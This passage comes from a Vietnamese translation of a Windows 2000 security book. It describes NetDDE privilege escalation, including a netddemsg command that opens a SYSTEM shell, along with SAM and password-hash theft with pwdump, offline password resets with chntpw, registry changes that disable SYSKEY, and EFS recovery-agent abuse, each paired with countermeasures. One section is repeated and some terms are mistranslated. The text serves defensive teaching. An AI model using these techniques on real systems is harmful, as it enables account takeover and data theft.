SYSTEM. Mặc dù vậy, rất ít trường hợp giới tin tặc có thểđọc được màn hình và dữ liệu
vào bàn phím.
◙ Biện pháp đối phó với sự cố Workstation
Do đây là một sự cố ai cũng phải thừa nhận trong việc thực hiện thiết kế của
Microsoft, chúng tôi phải dựa vào phương thức sửa tạm thời để khắc phục.
Một phương pháp sửa tạm thời được lưu trữ trong mô hình an ninh màn hình
vì vậy nó chia tách thích hợp các quá trình trong các màn hình khác nhau tại
địa chỉ: http:// www.microsoft.com/technet/security/bulletin/ms00-020. asp.
Phương pháp này có trong SP1.
Một cách giải quyết khác là giới hạn đặc quyền đăng nhập tương tác ( Xem
thêm chi tiết trong phần dựđoán ống dây dẫn có tên )
☻Yêu cầu NetDDE chạy với tư cách là SYSTEM
Tính phổ biến:
6
Tính giản đơn:
7
Tính hiệu quả:
10
Mức độ rủi ro:
8
Tháng 2 năm 2001, DilDog của @stake đã phát hiện ra một bộ phận dễ bị tấn
công trong dịch vụ trao đổi dữ liệu động(NetDDE) trong mạng Windows
2000, dịch vụ này cho phép một máy khách cục bộ có thể tuỳ ý thực chạy bất
kỳ một lệnh nào với đặc quyền SYSTEM. NetDDE là một công nghệ giúp cho
các ứng dụng dùng chung dữ liệu thông qua "phần dùng chung tin cậy." Một
yêu cầu có thểđược đưa ra thông qua phần dùng chung tin cậy để thực hiện
các ứng dụng mà có thê chạy trong phạm vi chương mục SYSTEM. @stake
đưa ra mật mã nguồn kiểm tra khái niệm cho một công cụđược gọi là
netddemsg mà tựđộng hoá kỹ thuật leo thang đặc quyền.
Lời Khuyên: Mật mã nguồn netdde.cpp do @stake đưa ra đòi hỏi
nddeapi.lib phải được kết nối trong quá trình biên dịch. Trong Visual C++, thực
hiện yêu cầu đó dưới các môdun thư viện/Object/Link tab/Settings/Project, bổ
sung thêm một dấu cách, và sau đó đánh nddeapi.lib.
Để chạy sản phẩm này, đầu tiên khởi động dịch vụ NetDDE nếu chưa được
khởi động. Hầu hết các trương mục người sử dụng không có đặc quyền khởi
chạy một dịch vụ như thành viên trương mục Operator được cài đặt sẵn. Bạn
có thể khởi chạy dịch vụ NetDDE từ dòng lệnh, hoăc bạn cũng có thể sử dụng
dịch vụ MMC cài đặt nhanh bằng cách chọn lệnh Run và bắt đầu tệp
services.msc.
Nếu sau đó bạn chạy công cụ netddemsg mà không có các số lệnh, nó sẽ nhắc
bạn cú pháp chuẩn. Bây giờ ta có thể chạy netddemsg và xác định phần dùng
chung đáng tin cậy bằng lựa chọn đối số -s, cũng như lênh được thực hiện.
Sau đó, tệp tin cmd. exe được định rõ và một trình tiện ích bằng lệnh sẽđược
mở.
C:\>netddemsg - s Chat $ cmd. exe
Ngay sau khi thực hiện lệnh, một bàn giao tiếp người-máy bằng lệnh sẽđược
bật lên chạy trong phạm vi của mục hệ thống. Bạn có thể chạy công cụ
Resource Kit Whoami trong trình tiện ích đó để thấy rằng nó thực sự chạy
trong phạm vi của mục hệ thống.
Chú ý rằng đối lập với sản phẩmviệc tận dụng PipeUpAdmin đã thảo luận
trong phần trước, netddemsg không đòi hỏi giới tin tặc phải tắt máy để làm
mới mã thông báo của chúng. Trình tiện ích khởi chạy việc sử dụng
netddesmg chạy trong phạm vi của mục SYSTEM, ngay từ trình tiện ích đăng
nhập hiện thời.
Tuy nhiên, giống như PipeUpAdmin, netddemsg phải được chạy trong phạm
vi người sử dụng INTERACTIVE. (có nghĩa là bạn phải nhập vào hệ tại bàn
phím vật lý, hoặc thông qua một trình tiện ích điều khiển từ xa với trạng thái
INTERACTIVE, ví dụ như thông qua Terminal Services.)
◙ Biện pháp đối phó hiện tượng leo thang NetDDE.
Cũng như khả năng dựđoán ký hiệu ống dẫn có tên, với một thiếu sót trong
thực thi mức hệ thống như vậy, biện pháp đối phó duy nhất là được Microsoft
sửa tạm ( địa chỉ: http: //www.microsoft.com/technet/treeview/default. asp?
url=/technet/security/bulletin/MS01-007. asp, có lưu trữ thông tin về giải pháp
ứng phó tạm thời.). Chúng tôi sẽ trình bày một số biện pháp đối phó với hiện
tượng leo thang đặc quyền nói chung trong phần tiếp theo.
Cũng cần chú ý thêm là khởi động dịch vụ NetDDE có thể bị cản trở nếu kiểm
toán có thể họat động được, một cách tốt là kiểm tra xem có ai đó cố gắng sử
dụng netddemsg cản trở bạn hay không.
ĐÁNH CẮP THÔNG TIN
Một khi đã có được Administrator-trạng thái tương đương, giới tin tặc sẽ tìm
cách nhằm chiếm đoạt nhiều thông tin hơn những thông tin này có thể là đòn
bẩy cho các vụ tấn công khác.
Khai thác thông tin mật khẩu Windows 2000
Giới tin tặc sẽ rất vui mừng khi biết được là LanManager (LM)hash được lưu
trữ bằng cách mặc định trong Windows 2000 để cung cấp sự tương thích
ngược với các máy khách không Windows NT/2000. phương pháp mặc định
này là nguyên nhân chủ yếu của các điểm tấn công được thảo luận trong
chương 5 cùng với phương pháp giải quyết. Tuy nhiên, với một phương pháp
đối phó giản đơn, kỹ thuật tập hợp password hash tiêu chuẩn là rất hạn chế
bởi một sốđặc tính mới của Windows 2000, chủ yếu là SYSKEY. Nhưng rất
hạn chế như chúng ta có thể thấy.
◙ Chiếm đoạt SAM
Tính phổ biến:
8
Tính giản đơn:
10
Tính hiệu quả:
10
Mức độ rủi ro:
9
Trong bộđiều khiển vùng của Windows 2000, password hashes được lưu trữ
trong Active Directory(%windir%\NTDSntds.dit). Với thiết bị mặc định các
đối tượng đã được cài đặt, tệp này chiếm 10 megabytes, nằm trong một dạng
thức bí ẩn, vì thế giới tin tặc không muốn gỡ bỏ tệp này để phân tích ngoại
tuyến.
Trong bộđiều khiển phi lĩnh vực (DCs), tệp quản lý mục an toàn (SAM) vẫn
là mục tiêu lựa chọn, và việc chiếm đoạt SAM được thực hiện chính xác như
được thực hiện dưới NT 4. Tệp SAM vẫn được lưu trữ trong % gốc hệ thống
%\ hệ thống 32\ cấu hình và vẫn bị OS khóa. Khởi động với DOS và chiếm
đoạt SAM vẫn có thểđược thực hiện trong hệ thống tệp tin NTFS v.5 mới
bằng cách sử dụng tiện ích NTFSDOS dễ bị tổn thương trên địa chỉ: http://
www.sysinternals.com/. Một bản sao tệp tin SAM vẫn xuất hiện trong \%gốc
hệ thống%\ sửa chữa (tên "SAM" được thay bằng "SAM_" như trong NT 4),
và tệp tin đó bao gồm tất cả người sử dụng cấu hình trong một hệ thống khi
cài đặt. Tiện ích rdisk được tích hợp vào Microsoft Backup v.5 ứng dụng
(ntbackup. exe), tệp tin có một chức năng tạo đĩa sửa khẩn cấp. Khi lệnh
Create Emergency Repair Disk được chọn, hộp thoại hỏi: thông tin có sao
chép sang thư mục sửa hay không như dưới đây:
Nếu đồng ý sự lựa chọn đó, Registry, bao gồm tập hợp SAM, được sao chép
sang %windir% \sửa\ danh mục RegBack. Các thành viên của nhóm Users có
truy cập Read với danh mục đó, và các thành viên của Power Users có truy
cập Modify nếu ổđĩa hệ thống được định dạng NTFS mặc dù chỉ Power Users
có truy cập bổ sung với tệp tin đó, chứ Users thì không. Các vụ tấn công bản
sao SAM phần nào được giảm nhẹ do tệp tin đó là SYSKEYed, và các kỹ
thuật giải mã một tệp tin SYSKEYed (trái với pwdump2ing một SAM nóng
không được phát ra tự nhiên.)
Chú ý:Tệp tin SAM Windows 2000 đượclà SYSKEY mặc định (xem phần
sau) và phải được trích lọc ra cùng với pwdump2 hoặc 3.
◙ Giữ Clean Repair\Thư Mục RegBack
Lưu ý không lấy bất kỳ một cơ hội nào - di chuyển những file này tới một ổđĩa có
thể xoá được hay tới một điểm bảo mật thay thế, và không để những file này vào thư mục
RegBack. Tuy nhiên, tốt hơn hết bạn không nên chọn Backup Registry Locally khi đang
chạy tiện ích Create Emergency Repair Disk (Tạo đĩa khởi động khẩn cấp).
☻Kết Xuất File Rối Với PwdumpX
Tính phổ biến
8
Tính đơn giản
10
Tính hiệu quả
10
Mức độ rủi ro
9
SYSKEY giờđây là cấu hình mặc định cho Windows 2000 (xem mục
KB Q14375 và chương 5 để biết hiểu thêm về SYSKEY). Vì vậy, công cụ
pwdump không thể trích xuất chính xác hết những mật khẩu từ mục Registry
trong những sản phẩm máy chủ có cài Windows 2000. Để thực hiện công việc
này cần có pwdump2 (xem chương 5 để hiểu thêm về pwdump và pwdump2,
và tại sao pwdump lại không thể thực hiện chống SYSKEY). Hơn nữa, việc
trích xuất thông tin cục bộ từ trình điều khiển miền cần có phiên bản mới nhất
của pwdump2 (tại http://razor.bindview.com) vì những thông tin này phụ
thuộc vào Active Directory (thư mục động) để lưu trữ những mật khẩu hơn là
phụ thuộc vào SAM như trước đây.
Công nghệ kinh doanh điện tử, inc., vừa cho ra một phiên bản công cụ
pwdump2 gốc của Todd Sabin có tên pwdump3e (http://www.ebiz-
tech.com/html/pwdump.html). Pwdump3e cài đặt samdump DLL như một
dịch vụđể trích xuất thông tin từ xa qua SMB (TCP 139 hay 445). Pwdump3e
sẽ không hoạt động trên hệ thống cục bộ.
◙ Biện Pháp Đối Phó pwdumpX
Sẽ không có cản trởđối với pwdump2 hoặc pwdump3e nếu cài đặt DLL
không hoạt động trong Windows. Tuy nhiên pwdumpX cần phải có đặc quyền
của Administrator để thể hoạt động và nó phải được chạy trong mạng cục bộ.
Nếu kẻ tấn công dành được lợi thế này, chúng có thểđạt được mục đích trên
hệ thống cục bộ. (Tuy nhiên sử dụng sữ liệu từ SAM để tấn công hệ thống
giao phó lại là một vấn đề khác).
☻Nhập Thông tin vào SAM bằng chntpw
Tính phổ biến
8
Tính đơn giản
10
Tính hiệu quả
10
Mức độ rủi ro
9
Nếu kẻ tấn công dành được truy cập vật lý vào một hệ thống, cùng với thời
điểm ít được chú ý tương xứng để khởi chạy nó sang một hệđiều hành khác,
chúng có thể thực hiện được một cuộc tấn công tinh vi được Petter Nordahl-
Hagen mô tả tại trang http://home.eunet.no/~pnordahl/ntpasswd/. Trong hàng
loạt trang liên kết của trang này, Petter đưa ra một số những dẫn chứng gây
chú ý, bao gồm:
Những thông tin phân tách có thểđược đưa vào SAM ngoại tuyến, cho phép bất cứ ai
có thể thay đối mật khẩu của người sử dụng hệ thống đó.
Petter tiếp tục một mô tả và cung cấp những công cụđể tạo lập một đĩa mền
khởi động Linux có thể sử dụng đểđược khởi động lại một hệ thống NT/2000,
thay đổi mật khẩu Administrator (thậm chí mật khẩu này đã được đổi tên),
khởi động, và sau đó đăng nhập với một mật khẩu mới. Sau đây là một sự kết
hợp thú vị:
Tính năng nhập chỉ hoạt động ngay cả trong trường hợp đã ứng dụng
SYSKEY và tiến hành lựa chọn bảo vệ SYSKEY bằng một mật khẩu và lưu trên
một đĩa mềm
"Đợi một giây", chúng tôi được biết rằng : "SYSKEY áp dụng vòng mã hóa
thứ hai 128 bit đối với nhứng thông tin phân tách mật khẩu sử dụng một khóa
duy nhất được lưu trong Registry, vốn được bảo vệ tùy chọn bằng một mật
khẩu, hay được lưu trong đĩa mềm (xem chương 5). Làm sao một người có thể
cho những thông tin phân tách vào mà không biết khoá hệ thống được dùng để
tạo ra chúng?"
Petter đã tìm ra cách tắt SYSKEY. Nghiêm trọng hơn, ông đã phát hiện ra
rằng sẽ không phải thực hiện điều đó - những thông tin phân tách kiểu cũ nhập
trong SAM sẽ tựđộng chuyển đổi thành dạng SYSKEY hóa ngay khi khởi
động lại hệ thống. Chúng ta phải khâm phục Peter về phát kiến thiết kếđối
chiếu này. Cúi đầu bái phục Peter!
1. Thiết lập HKLM\System\CurrentControlSet\Control\Lsa\SecureBoot về
0 để làm vô hiệu hoá SYSKEY (những giá trị có thể áp dụng cho khoá
này là 0 - vô hiệu hoá; và 1 - khoá chưa được bảo mật được lưu trong
Registry; 2 - khoá đã bảo mật bằng cụm mật khẩu trong Registry; 3 -
khoá được lưu trong đĩa mềm.)
2. Thay đổi một cờ hiệu đặc tả trong HKLM\SAM\Domains\Account\F cấu
trúc nhị phân sang một hình thức tương tự như SecureBoot trước đây.
Trong khi toàn hệ thống đang hoạt động, khoá này không thể tiếp cận mở
được.
3. Chỉ riêng trong Windows 2000, khoá <mặc định> trong
HKLM\security\Policy\PolSecretEncryptionKey cần phải đổi sang giá trị
tương tự như hai khoá trước.
Theo Petter, chỉ thay đổi một trong hai giá trịđầu trong NT4 lên tới những
giá trị SP6 sẽ xảy ra sự không nhất quán giữa SAM và những thiết lập hệ
thống khi khởi động kết thúc,và SYSKEY được tái thiết lập. Trong Windows
2000, sự không nhất quán giữa ba khoá này dường nhưđược thiết lập lại với
giá trị có thể nhất khi khởi động lại.
CẢNH BÁO:Sử dụng những kỹ thuật này có thể dẫn đến SAM bị hư hại,
hoặc không dùng được nữa. Khi những kỹ thuật này không khởi động lại được
nữa, chúng ta mới thử nghiệm chúng trên phần cài đặt NT/2000. Chú ý không
nên chọn Disable SYSKEY trong mục chntpw trong Windows 2000. Những
phản ứng cực kỳ nguy hại có thể sảy ra khi thực hiện kỹ thuật này, và thường
phải tiến hành cài đặt lại từđầu.
CHÚ Ý:Kỹ thuật này sẽ không thay đổi những mật khẩu chương mục đối
tượng sử dụng trong trình điều khiển miền có cài đặt Windows 2000 vì nó chỉ
nhằm vào file SAM đã hỏng. Về DC, những thông tin phân tách mật khẩu
được lưu trong Thư Mục Động, chứ không lưu trong SAM.
◙ Biện Pháp Đối Phó pwdumpX
Cài đặt DLL không hoạt động trong Windows sẽ không cản trở pwdump2
hoặc pwdump3e. Tuy nhiên pwdumpX cần có đặc quyền của Administrator để
hoạt động và nó phải được chạy trong môi trường mạng cục bộ. Nếu kẻ tấn
công dành được lợi thế này, chúng có thểđạt được mục đích trên hệ thống cục
bộ. (Tuy nhiên sử dụng sữ liệu từ SAM để tấn công hệ thống là một vấn đề
khác).
☻Nhập Thông tin vào SAM bằng chntpw
Tính phổ biến
8
Tính đơn giản
10
Tính hiệu quả
10
Mức độ rủi ro
9
Nếu kẻ tấn công đã truy nhập vật lý vào một hệ thống, chúng có thể thực
hiện được một cuộc tấn công tinh vi, được Petter Nordahl-Hagen giới thiệu
trên địa chỉhttp://home.eunet.no/~pnordahl/ntpasswd/. Trong hàng loạt trang
liên kết trên địa chỉ này, Petter đưa ra một số những dẫn chứng gây chú ý, bao
gồm:
Những thông tin phân tách có thểđược đưa vào SAM ngoại tuyến, cho phép bất cứ ai
cũng có thể thay đối mật khẩu của người sử dụng hệ thống đó.
Petter tiếp tục một mô tả và cung cấp những công cụđể tạo lập một đĩa mềm
khởi động Linux có thể sử dụng đểđược khởi động lại một hệ thống NT/2000,
thay đổi mật khẩu Administrator (thậm chí mật khẩu này đã được đổi tên),
khởi động, và sau đó đăng nhập với một mật khẩu mới. Sau đây là một sự kết
hợp thú vị:
Tính năng nhập chỉ hoạt động ngay cả trong trường hợp đã ứng dụng
SYSKEY và tiến hành lựa chọn bảo vệ SYSKEY bằng một mật khẩu và lưu trên
một đĩa mềm
"Đợi một giây", chúng tôi được biết rằng : "SYSKEY áp dụng vòng mã hóa
thứ hai 128 bit đối với nhứng thông tin phân tách mật khẩu sử dụng một khóa
duy nhất được lưu trong Registry, vốn được bảo vệ tùy chọn bằng một mật
khẩu, hay được lưu trong đĩa mềm (xem chương 5). Làm sao một người có thể
cho những thông tin phân tách vào mà không biết khoá hệ thống được dùng để
tạo ra chúng?"
Petter đã tìm ra cách tắt SYSKEY. Nghiêm trọng hơn, ông đã phát hiện ra
rằng những thông tin phân tách kiểu cũ nhập trong SAM sẽ tựđộng chuyển
đổi thành dạng SYSKEY ngay khi khởi động lại hệ thống. Chúng ta phải
khâm phục Peter về phát kiến thiết kếđối chiếu này. Xin cúi đầu bái phục
Peter!
4. Thiết lập HKLM\System\CurrentControlSet\Control\Lsa\SecureBoot về
0 để làm vô hiệu hoá SYSKEY (những giá trị có thể áp dụng cho khoá
này là 0 - vô hiệu hoá; và 1 - khoá chưa được bảo mật được lưu trong
Registry; 2 - khoá đã bảo mật bằng cụm mật khẩu trong Registry; 3 -
khoá được lưu trong đĩa mềm.)
5. Thay đổi một cờ hiệu đặc tả trong HKLM\SAM\Domains\Account\F cấu
trúc nhị phân sang một hình thức tương tự như SecureBoot trước đây.
Trong khi toàn hệ thống đang hoạt động, khoá này không thể tiếp cận mở
được.
6. Chỉ riêng trong Windows 2000, khoá <mặc định> trong
HKLM\security\Policy\PolSecretEncryptionKey cần phải đổi sang giá trị
tương tự như hai khoá trước.
Theo Petter, chỉ thay đổi một trong hai giá trịđầu trong NT4 lên tới những
giá trị SP6 thì sẽ gây ra sự không nhất quán giữa SAM và những thiết lập hệ
thống khi quá trình khởi động kết thúc,và SYSKEY được tái thiết lập. Trong
Windows 2000, sự không nhất quán giữa ba khoá này dường nhưđược tái
thiết lập bằng giá trị có thể nhất khi khởi động lại.
CẢNH BÁO:Sử dụng những kỹ thuật này có thể khiến SAM bị hư hại, hoặc
hỏng hoàn toàn. Khi những kỹ thuật này không khởi động lại được nữa, chúng
ta mới thử nghiệm chúng trên phần cài đặt NT/2000. Chú ý không nên chọn
Disable SYSKEY trong mục chntpw trong Windows 2000. Những phản ứng
cực kỳ nguy hại có thể xảy ra khi áp dụng kỹ thuật này, và thường phải tiến
hành cài đặt lại từđầu.
CHÚ Ý:Kỹ thuật này sẽ không thay đổi những mật khẩu chương mục đối
tượng sử dụng trong trình điều khiển miền có cài đặt Windows 2000 vì nó chỉ
nhằm vào file SAM đã hỏng. Về DC, những thông tin phân tách mật khẩu
được lưu trong Thư Mục Động, chứ không lưu trong SAM.
◙ Những Biện Pháp Đối Phó chntpw
Khi kẻ tấn công đã thực hiện được truy xuất vật lý không hạn chế tới một hệ thống,
chúng ta vẫn có một số biện pháp đối phó tấn công kiểu này. Công việc khảo sát đầu tiên là
thiết lập SYSKEY tạo thành sự can thiệp cần thiết vào quá trình khởi động hệ thống bằng
cách nhập một mật khẩu hoặc một khoá hệ thống từđĩa mềm (xem chương 5 để biết thêm
chi tiết về ba hình thức của SYSKEY). Vì vậy, ngay cả khi kẻ tấn công muốn thiết lập lại
mật khẩu Administrator thì vẫn phải nhập mật khẩu SYSKEY để khởi động hệ thống. Tất
nhiên, kẻ tấn công vẫn có thể sử dụng chntpw để vô hiệu hóa toàn bộ SYSKEY, nhưng
chúng có thể gây hỏng hệ thống mục tiêu nếu là Windows 2000.
Giả sử Petter đã vô hiệu hoá toàn bộ SYSKEY, lựa chọn duy nhất với hệ nhị
phân chntpw-điều gì sẽ xảy ra nếu nó được thiết lập về 1 thay vì về 0, để lưu
khoá hệ thống trong mạng cục bộ. Điều này có thể vô hiệu hoá chếđộ bảo vệ
SYSKEY dạng password-hoặc ploppy, làm biện pháp đối phó này trở nên vô
dụng. Bộ mã gốc cho chntpw có trên trang Web của Petter ... và cách thức sử
dụng hiệu quả chntpw trong chếđộ hiệu chỉnh Registry cũng được giới thiệu
trên cùng địa chỉ này.
Nếu không có chếđộ bảo mật của SYSKEY dạng password hoặc ploppy,
bạn phải dựa vào những thủ thuật bảo mật cũ, nhưđảm bảo những hệ thống
quan trọng phải được bảo mật vật lý và thiết lập mật mã BIOS hoặc vô hiệu
hóa những truy xuất từổđĩa mềm lên hệ thống.
☻XÓA SAM TRỐNG VÀ MẬT KHẨU ADMINISTRATOR
Tính phổ biến 4
Tính đơn giản 5
Tính hiệu quả 10
Mức độ rủi ro 6
Vào ngày 25/7/1999, James J. Grace và Thomas S. V. Bartlett III công bố
một tài liệu gây chú ý mô tả cách thức xoá mật khẩu Administrator nhờ khởi
động một hệđiều hành thay thế và xoá file SAM (xem tại trang
http://www.deepquest.pf/win32/win2k_efs.txt). Nếu cần truy nhập vật lý
không qua kiểm soát và các tính năng sẵn có của các công cụ viết các mục
NTFS (ví dụ, NTFSDOS Pro có tại http:// www.sysinternals.com), thì kỹ thuật
này cơ bản sẽ nghiễm nhiên đi qua hệ thống an ninh cục bộ trên NT/2000.
Mặc dù kỹ thuật đã được giới thiệu này đề cập đến sự cài đặt của một bản
sao thứ hai của NT hoặc 2000 cùng với một bản gốc, nhưng việc làm này
không thực sự cần thiết nếu kẻ tấn công chỉ muốn phá hỏng mật khẩu chương
mục của Administrator. Lúc đó SAM được xoá một cách dễ dàng.
Cách thức tấn công này có thể dẫn đến một số tác hại nghiêm trọng đến
Encrypting File System (Hệ Thống File mã hoá), sẽđược giới thiệu chi tiết ở
phần sau.
CHÚ Ý Những trình điều khiển miền Windows 2000 không bịảnh hưởng
khi SAM bị xoá vì chúng không lưu giữ những thông tin phân tách mật khẩu
trong SAM. Tuy nhiên, những phân tích của Grace và Bartlett chỉ ra một cơ
chế dành được kết quả cần thiết tương tự trên những trình điều khiển miền nhờ
cài đặt một bản sao Windows 2000.
◙ Ngừng quá trình Xoá SAM Ngoại Tuyến
Như chúng ta đã biết, phương pháp duy nhất để bước đầu giảm thiểu hậu quả
do cuộc tấn công kiểu này là định cấu hình cho Windows 2000 để khởi chạy
trong SYSKEY ở chếđộ password hoặc ploppy. Một số cách hiệu quả khác để
ngăn cản tấn công mật khẩu ngoại tuyến là giữ cho máy chủđược bảo mật vật
lý, di dời hay làm vô hiệu hoá những ổđĩa khởi động, hoặc xây dựng lại một
mật khẩu trong BIOS nhập vào trước khi khởi động lại hệ thống. Chúng tôi
khuyên các bạn nên sử dụng tất cả những cơ chế này.
Hệ Thống File Mã Hóa (EFS)
Một trong những trọng điểm của vấn đề bảo mật trong Windows 2000 là Hệ
Thống Mã Hoá File (EFS). EFS là một hệ thống dựa trên cơ cấu khoá bảo mật
chung nhằm mã hóa dữ liệu trên đĩa tại một thời điểm nhất định với mục đích
ngăn chặn tin tặc tiếp cận hệ thống. Hãng Microsoft đã tung ra một bộ tài liệu
cung cấp thông tin chi tiết về cơ chế hoạt động của EFS. White paper này
được giới thiệu trên địa chỉ
http://www.microsoft.com/windows2000/techinfo/howitworks/security/encryp
t.asp. EFS có thể mã hoá một file hay thư mục với một cơ chế thuật toán mã
hoá, đối xứng, và nhanh chóng sử dụng một khoá mã hoá file (FEK) được tạo
ra ngẫu nhiên đặc trưng cho file hay thư mục. Phiên bản EFS đầu tiên sử dụng
Tiêu Chuẩn Mã Hoá Dữ Liệu Mở Rộng (DESX) như một thuật toán mã hoá.
Khóa mã hoá file được tạo ra ngẫu nhiên sau đó lại tựđộng mã hoá với một
hay nhiều khoá mã hoá dùng chung, bao gồm khoá của đối tượng sử dụng
(mỗi đối tượng sử dụng Windows 2000 đều nhận được một mật khẩu dùng
chung/cá nhân) và một tác nhân phục hồi mật khẩu (RA). Những giá trịđã
được mã hoá được lưu dưới dạng thuộc tính của file.
Ví dụ tác nhân phục hồi mật khẩu được kích hoạt trong trường hợp người sử
dụng mã hoá một số dữ liệu nhạy cảm bỏ một hệ thống hay những mật khẩu
mã hoá của họ bị mất. Để tránh trường hợp mất dữ liệu đã mã hoá không thể
phục hồi được, Windows 2000 tạo ra một tác nhân phục hồi dữ liệu cho
EFS-EFS sẽ không hoạt động nếu không có một tác nhân phục hồi. Một tác
nhân phục hồi có thể mã hoá nội dung file đó mà không cần mật khẩu cá nhân
của đối tượng sử dụng vì FEK độc lập hoàn toàn với mật khẩu dùng chung
hay cá nhân của đối tượng sử dụng. Tác nhân phục hồi dữ liệu mặc định cho
một hệ thống là chương mục administrator cục bộ.
Mặc dù EFS có thể rất hữu hiệu trong nhiều trường hợp, nhưng nó không
phát huy tác dụng nếu làm việc với những đối tượng sử dụng ở cùng một
Workstation nhằm bảo vệ file. Đó chính là tính năng hoạt động của danh sách
điều khiển truy cập (ACL) hệ thống file NTFS. Microsoft đã đặt EFS vào một
vị trí như một tầng bảo vệ chống lại những cuộc tấn công ở những vị trí NTFS
bị hỏng. Ví dụ, bằng cách khởi động những HệĐiều Hành thay thế và sử dụng
những công cụ thuộc nhóm ba để truy cập vào ổđĩa cứng, hay những file lưu
trong máy chủ từ xa. Thực ra, bộ tài liệu của Microsoft về EFS tập trung vào
chủđề "EFS có thể giải quyết những vấn đề bảo mật dựa trên các công cụ có
trên các hệđiều hành khác. Những hệđiều hành này cho phép đối tượng sử
dụng truy cập vật lý các file từ một mục NTFS mà không cần có sự kiểm tra
truy cập". Chúng ta sẽ tìm hiểu rõ vấn đề này ở phần sau.
Chức năng của Hệ thống bảo mật tệp tin EFS
Hệ thống mã hoá tệp EFS có thểđược dùng để bảo mật tệp hay thư mục trên
màn hình Properties bằng cách sử dụng phím Tab, nhãn Advanced. Ngoài ra
công cụ lập mã dòng lệnh có thể còn được sử dụng để lập mã và giải mã file.
Đánh dòng lệnh: 'Type cipher /?' vào dấu nhắc hệ thống.
Mặc dù các tệp có thể có mật khẩu riêng, nhưng hệ thống bảo mật EFS của
hãng Microsoft còn cung cấp thêm biện pháp bảo mật ngay trên thư mục. Lí
do là đôi khi mật mã lập tại file không có tác dụng và có tạo ra dạng văn bản
thuần tuý, hơn nữa tệp tin này không cho phép nén.
Nhờ có sự trợ giúp của Windows 2000 đối với EFS, bạn sẽ có được những kỹ năng cần
thiết để sử dụng Hệ thống EFS tốt hơn.
Chú ý:Cần thận trọng khi dụng lệnh 'cut' để di chuyển tệp đã được mã
hoá. Mặc dù cơ chế sao lưu chuẩn (ví dụ như: ntbackup.exe) sẽ thực hiện sao
lưu bản chính, nhưng lệnh sao chép thông thường lại chỉđọc những thông số
tệp gốc dưới hình thức đã giải mã. Nếu điểm đích của tệp được di chuyển
không phải là khu vực lưu trữ NTFS 5.0, thì tệp tin được di chuyển này sẽở
dạng văn bản thuần tuý. Nếu điểm đích của tệp được di chuyển là khu vực lưu
trữ NTFS 5.0, thì tệp tin này vẫn được giữ nguyên mã bảo mật nhưng sẽ khác
nguyên bản. Tệp tin sẽđược giữ nguyên nếu dùng một khoá bảo mật (FEK)
mới. Cần lưu ý rằng Hệ thống bảo mật tin EFS chỉ bảo mật tệp tin khi tệp
được lưu trên đĩa, tệp sẽ không được khoá mã nếu post lên mạng.
◙ Vô hiệu hóa khóa khôi phục EFS
Tính phổ biến
3
Tính đơn giản
1
Tính hiệu quả
10
Mức độ rủi ro
5
Chúng ta tiếp tục nghiên cứu tài liệu mà Grace và Bartlet giới thiệu ở phần
trước tại địa chỉhttp://www.deepquest.pf/win32/win2k_efs.txt , khả năng ghi
chèn dữ liệu lên mã chương mục Administrator được thực hiện trên một phạm
vi rộng hơn khi máy ngầm hiểu Administrator là một tác nhân phục hồi mã
mặc định (RA). Khi đã đột nhập thành công vào một hệ thống bằng một mật
mã Administrator trống, các tệp tin được mã hoá dưới dạng EFS sẽ tựđộng
giải mã khi mở tệp tin, từđó có thể dùng chính mật khẩu khôi phục mã để truy
cập các tệp đã bị mã hoá.
Vì sao chức năng này hoạt động? Hãy nhớ lại cách thức hoạt động của hệ
thống mã hoá tệp: Mật khẩu mã hoá tệp (cũng dùng để giải mã tệp) được thiết
lập ngẫu nhiên cũng có thể tự lập mã bằng những phím khác, và những biến số
mã hoá này được lưu trữ như những thuộc tính tệp. FEK được lập mã bằng
những khoá chung của khách hàng (mỗi khách hàng sử dụng hệđiều hành
Windows 2000 sẽ nhận được một mật khẩu cá nhân hay mật khẩu dùng
chung) được lưu dưới dạng thuộc tính tệp gọi là Trường Giải Mã Dữ Liệu
(DDF) được kết hợp với tệp tin. Khi người dùng truy cập vào tệp tin này, mã
các nhân của người ấy sẽ giải mã DDF, và sẽ tìm được FEK để giải mã tệp tin
đó. Những biến số thu được từ việc giải mã FEK cùng với mã tác nhân phục
hồi sẽđược lưu dưới dạng thuộc tính có tên Trường Phục Hồi Dữ Liệu (DRF).
Vì vậy, nếu Administrator cục bộ là tác nhân phục hồi đã xác định (thường
mặc định), thì bất kỳ ai có mã Administrator trong hệ thống này sẽ có thể giải
mã DRF bằng mật khẩu cá nhân của mình để rồi giải luôn cả mã FEK, đây
chính là chìa khoá để giải mã các tệp tin được bảo mật dưới dạng EFS.
Xóa ủy nhiệm Tác nhân Phục hồi Hãy xem điều gì xảy ra nếu tác nhân
phục hồi được giao cho người khác mà không phải là Administrator? Grace
và Bartlett sẽ cung cấp cho các bạn biện pháp đối phó bằng một chương trình
chạy ngay khi khởi động máy và xác lập lại mật mã cho bất kỳ một chương
mục nào đã được xác định là tác nhân phục hồi.
Tất nhiên một kẻđột nhập không cần chỉ tập chung vào tác nhân phục
hồi vì nó chỉ nhất thời tạo ra một phương thức dễ tiếp cận nhất đối với các tệp
đã bị mã hoá trên đĩa.Một cách khác để tránh xung đột với tác nhân phục hồi
được uỷ thác là giả dạng làm người mã hoá tệp đó. Sử dụng chntpw (xem
phần trước), mọi mã chương mục của người sử dụng đều có thể xác lập lại
bằng hình thức tấn công ngoại tuyến. Khi đó kẻ tấn công có thểđột nhập vào
hệ thống khi người sử dụng mã hoá DDF có liên kết ảo với mã cá nhân của
người đó, sau đó giải mã FEK và tệp tin. Chúng ta cũng không cần dùng đến
mã cá nhân của tác nhân phục hồi dữ liệu.
◙ Xuất khẩu các khóa phục hồi và lưu trữ an toàn các khóa này
Grace và Bartlett sẽ buộc hệ thống Microsoft phải cho phép mã EFS
được giải, nhưng đột nhập làm giảm nguy cơ rủi do bằng cách xác nhận cuộc
tấn công sẽ thất bại nếu thủ thuật chuyển giao mã phục hồi bị phát hiện. (Xem
trang: http:// www.microsoft.com/
technet/treeview/default.asp?url=/technet/itsolutions/security/topics/efs/asp ).
Tuy vậy phần mô tả quá trình xử lý dữ liệu của hãng Microsoft trong
trang này đã quá lạc hậu, và các tệp tin trợ giúp EFS cụ thể không thể chỉ ra
cách thức thực hiện. Để truy xuất các tệp chứa tác nhân phục hồi trên những
hệ thống độc lập, mở trang Group Policy (gpedit.msc), tìm tới nhãn Computer
Configuration\Windows Settings\Security Setting\Public Key
Policies\Encryted Data Recovery Agents, tích chuột phải vào tác nhân phục
hồi bên ô phải ( thường đây là Administrator), và chọn All Tasks/Export. Xem
